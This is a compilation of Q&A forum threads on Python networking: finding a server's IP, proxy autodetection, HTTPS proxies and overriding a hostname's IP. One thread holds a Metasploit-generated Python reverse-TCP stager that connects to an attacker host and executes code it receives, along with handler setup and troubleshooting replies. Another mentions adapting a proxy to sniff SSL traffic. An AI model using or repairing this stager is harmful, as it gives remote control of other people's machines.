I'm making a small tool that tests CDN performance and would like to check where the response comes from. I thought of getting the host's IP and then using one of the geolocation API's on github to check the country.
I've tried doing so with
import socket
...
raw._fp.fp._sock.getpeername()
...however that only works when i use stream=True for the request and that in turn breaks the tool's functionality.
Is there any other option to get the server ip with requests or in a completely different way?
The socket.gethostbyname() function from Python's socket library should solve your problem. You can check it out in the Python docs here.
Here is an example of how to use it:
import socket
url="cdnjs.cloudflare.com"
print("IP:",socket.gethostbyname(url))
All you need to do is pass the url to socket.gethostbyname() and it will do the rest. Just make sure to remove the http:// before the URL because that will trip it up.
I could not get Akilan's solution to give the IP address of a different host that I was using. socket.gethostbyname() and getpeername() were not working for me. They are not even available. His solution did open the door.
However, navigating the socket object, I did find this:
socket.getaddrinfo('host name', 443)[0][4][0]
I wrapped this in a try/except block.
Maybe there is a prettier way.
Related
The script below works fine when I am using script at home (same PC!):
import urllib.request
x = urllib.request.urlopen('https://www.google.com/')
print(x.read())
the same does not work using the same script when I am connected at work. I do not know proxy address or IP, so my script should use the same way as IE or anything else on this PC.
I found some suggestions about using proxy , but the point it I do not know proxy IP or details. When I move the script to another PC it might have different proxy, so I think hardcoding it is not good approach.
Can I somehow inform Python to autodetect proxy settings?
Going by your eample, I am assuming you are doing a https call over proxy. The urllib documentation hints its not supported. So, instead you may have to settle down with http.
In order to validate that there is nothing wrong with your setup, you may try to do open the IP directly:
import urllib
# IP address for `http://www.google.com` is `216.58.205.196`
x = urllib.urlopen('http://216.58.205.196')
print x.read()
A. There are lots of complaints about Python's trippy auto-detect proxy settings in various other threads. I had this issue only once years ago and I opted for setting a fixed proxy instead of trying to configure auto-detect. To know your proxy, you can go to chrome url chrome://net-internals/#proxy or run netstat -an | grep EST command.
B. Once you have proxy address, you can use following code:
import urllib
# IP address for `http://www.google.com` is `216.58.205.196`
x = urllib.urlopen('http://216.58.205.196',
proxies={'http': 'http://www.someproxy.com:3128'})
print x.read()
If you cannot avoid https, then you may consider requests library. I didn't test this, but requests documentation looks quite promising. This is how it can be done!
import requests
proxies = {
'http': 'http://10.10.1.10:3128',
'https': 'http://10.10.1.10:1080',
}
requests.get('https://example.org', proxies=proxies)
Edit:
1: You may need to setup proxy authentication in order for 3.B. to work
2: For Special characters, you would need to have the password in unicode: 'p#ssw0rd'.decode('utf-8')
Hope this helps!
I have used msfvenom to create the following python payload:
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('MY PUBLIC IP',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
I have then opened up msfconsole, and done the following:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.0.186 (MY LOCAL IP)
set LPORT 3930
exploit
It begins the reverse TCP handler on 192.168.0.186:3930, and also starts the payload handler. However, when I run the script on another computer, the payload times out after waiting for about a minute, and msfconsole doesn't register anything. I have port forwarded 3930 on the router. What am I doing wrong here?
This is the code I would use for a reverse TCP on Unix systems, with the details you've provided. However, I stumbled upon your post after error searching, so this isn't 100% flawless. I've gotten it to work perfectly in the past, but just recently it's begun to lag. It'll run once on an internal system, but anything after that gives me the same error message you got. I also get the same message when doing this over the WAN, as opposed to LAN, however it doesn't run the first time around. What ISP do you have? It may be entirely dependent on that.
import socket,struct
s=socket.socket(2,1)
s.connect(('IP ADDRESS',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})
I try to edit the mallory proxy which can be used to sniff SSL-traffic. However it has problems with servers using connecting to a server behing e.g. CloudFlare because one can't get the real certificate but the one from the CloudFlare server in the front.
Due to this I wanted to use the server_hostname option from SSLContext.wrap_socket(). But for this I need to get the destination server's name from the Python socket object. However the only function I know to retreive this is getpeername() but this returns only the destination's ip. Does someone know a way to get the server name from a socket, too?
The solution dhke suggested in the comments, to call set_servername_callback(), is indeed the solution I searched for as one can see here. However it doesn't work to use this in mallory but that's another topic.
I'm working on a project that allows a user to redirect his browsing through a proxy. The system works like this - a user runs this proxy on a remote PC and then also runs the proxy on his laptop. The user then changes his browser settings on the laptop to use localhost:8080 to make use of that local proxy, which in turn forwards all browser traffic to the proxy running on the remote PC.
This is where I ran into HTTPS. I was able to get normal HTTP requests working fine and dandy, but as soon as I clicked on google.com, Firefox skipped my proxy and connected to https://google.com directly.
My idea was to watch for browser requests the say CONNECT host:443 and then use the python ssl module to wrap that socket. This would give me a secure connection between the outer proxy and the target server. However, when I run wireshark to see how a browser request looks like before ssl kicks in, it's already there, meaning it looks like the browser connects to port 443 directly, which explains why it omitted my local proxy.
I would like to be able to handle to HTTPS as that would make for a complete browsing experience.
I'd really appreciate any tips that could push in the right direction.
Well, after doing a fair amount of reading on proxies, I found out that my understanding of the problem was insufficient.
For anyone else that might end up in the same spot as me, know that there's a pretty big difference between HTTP, HTTPS, and SOCKS proxies.
HTTP proxies usually take a quick look into the HTTP headers to determine where to forward the whole packet. These are quite easy to code on your own with some basic knowledge of sockets.
HTTPS proxies, on the other hand, have to work differently. They should either be able to do the whole SSL magic for the client or they could try to pass the traffic without changes, however if the latter solution is chosen, the users IP will be known. This is a wee bit more demanding when it comes to coding.
SOCKS proxies are a whole different, albeit really cool, beast. They work on the 5th layer of the OSI model and honestly, I have no clue as to where I would even begin creating one. They achieve both security and anonymity. However, I do know that a person may be able to use SSH to start a SOCKS proxy on their machine, just read this http://www.revsys.com/writings/quicktips/ssh-tunnel.html . That link also gave an idea that it should be possible to use SSH from a Python script to make it much more convenient.
Hope this helps anyone with the same question as I had. Good luck!
I'm downloading a web page (with PyQt4/QtWebKit) using given hostname, but I would like to use a pre-defined IP address for that hostname. For example, I need to hit "http://www.mysite.com" but use the IP address 1.2.3.4 instead of the actual resolved IP address. Is this at all possible in QtWebKit? I've tried a couple things so far:
Hitting http://1.2.3.4/ and sending a "Host" header of "www.mysite.com". This almost works, but ends up failing for a number of reasons (I'd be happy to go into more detail here).
Using a global /etc/hosts setting. This didn't work because it is hard to automate and I will be doing multiple downloads at once.
Is there a way to either in python or in PyQt4/QtWebKit to override the IP address associated with a hostname?
This is big for me. Any help at all would be greatly appreciated.
Use custom network access manager, something like this (C++): http://ariya.blogspot.com/2010/05/qnetworkaccessmanager-tracenet-speed.html, so that you can "hijack" the network request and "redirect" it to other domain.